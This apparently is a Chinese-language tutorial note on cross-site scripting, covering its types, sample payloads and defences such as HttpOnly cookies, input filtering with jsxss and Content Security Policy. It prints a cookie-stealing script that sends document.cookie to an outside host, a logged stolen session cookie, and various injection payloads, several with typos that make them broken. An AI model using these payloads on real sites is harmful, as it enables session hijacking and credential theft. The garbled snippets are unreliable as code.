XSS
Cross Site Scripting(跨站脚本攻击)是客户端脚本安全中的头号大敌,它通过在页面中注入脚本,然后触发执行,获取相应的权限。
xss 攻击危害
- 获取Cookie
- 网络钓鱼
- 劫持会话
- 传播xss蠕虫
xss攻击分类
反射型XSS
反射型XSS只是简单地把用户输入的数据“反射”给浏览器。黑客往往需要诱惑用户“点击”一个恶意链接,才能攻击成功。
存储型
存储型XSS会把用户输入的数据“存储”在服务器,这种XSS具有很强的稳定性。
基于DOM
从效果来说也是一种反射型XSS
常见XSS(html/css/js/DOM)
XSS获取Cookie
在html注入<script src="http://192.168.31.235:3001/javascripts/evil.js"></script>
// evil.js
var img = document.createElement('img');
img.src = 'http://192.168.31.235:3001/log?cookie=' + escape(document.cookie);
document.body.appendChild(img);
执行js,文档加载图片,同时把document.cookie
发送到3001服务器。
3001后台日志
GET /log?cookie=connect.sid%3Ds%253AReYs6tnBdRPPwl_u9-c3OXwpRMtJ6QIE.BFbYfuwr0jt%252FgwigBOxHWJJi691rN3YUCUM34CxJGlg
Cookie保存当前用户的登陆凭证,若丢失,后果不堪设想。
正常注入(src、Javascript)
<img src="javascript:alert(/xss/)" width="100">
事件注入
<img src="#" onerror="alert('xss')" width="100">
<div onclick="alert('')"></div>
通过css构造(background-img:url\expression\link-href\@import)
<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>
通过Javascript构造(eval()函数、ASCII编码)
<script>eval("alert('xss')")</script>
<im src="javascript:eval(String.formCharCode(97.....))"
基于DOM型创建(有字数限制的输入框)
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'alert('</script>
<script>z=z+'/xss/)'</script>
<script>z=z+'");'</script>
<script>eval(z)</script>
基于DOM型创建(创建节点)
var a = documentcreateElement('script';
a.src="http://....js");
document.getElementsByTagName("head")[0].appendChild(s);
XSS防御
HttpOnly
设置HpptOnly
后浏览器禁止脚本通过document.cookie
访问Cookie
以express-session
为例
app.use(session({
secret: 'keyboard cat',
cookie: {
maxAge: 60000 ,
httpOnly: true // 默认true
}
}))
XSS过滤脚本
XSS攻击者通常构造一些特殊字符进行攻击,所以输入过滤是必要的。
参考jsxss
可以在浏览器及node后端使用。
特性
- 白名单控制允许的HTML标签及各标签的属性
- 通过自定义处理函数,可对任意标签及其属性进行处理
Content Security Policy 网页安全政策
参考阮一峰老师博客
如果还想了解更多XSS攻击类型,可以查看http://pkav.net/XSS.png。以上图片来源于web前端安全与实践 龙付成老师课堂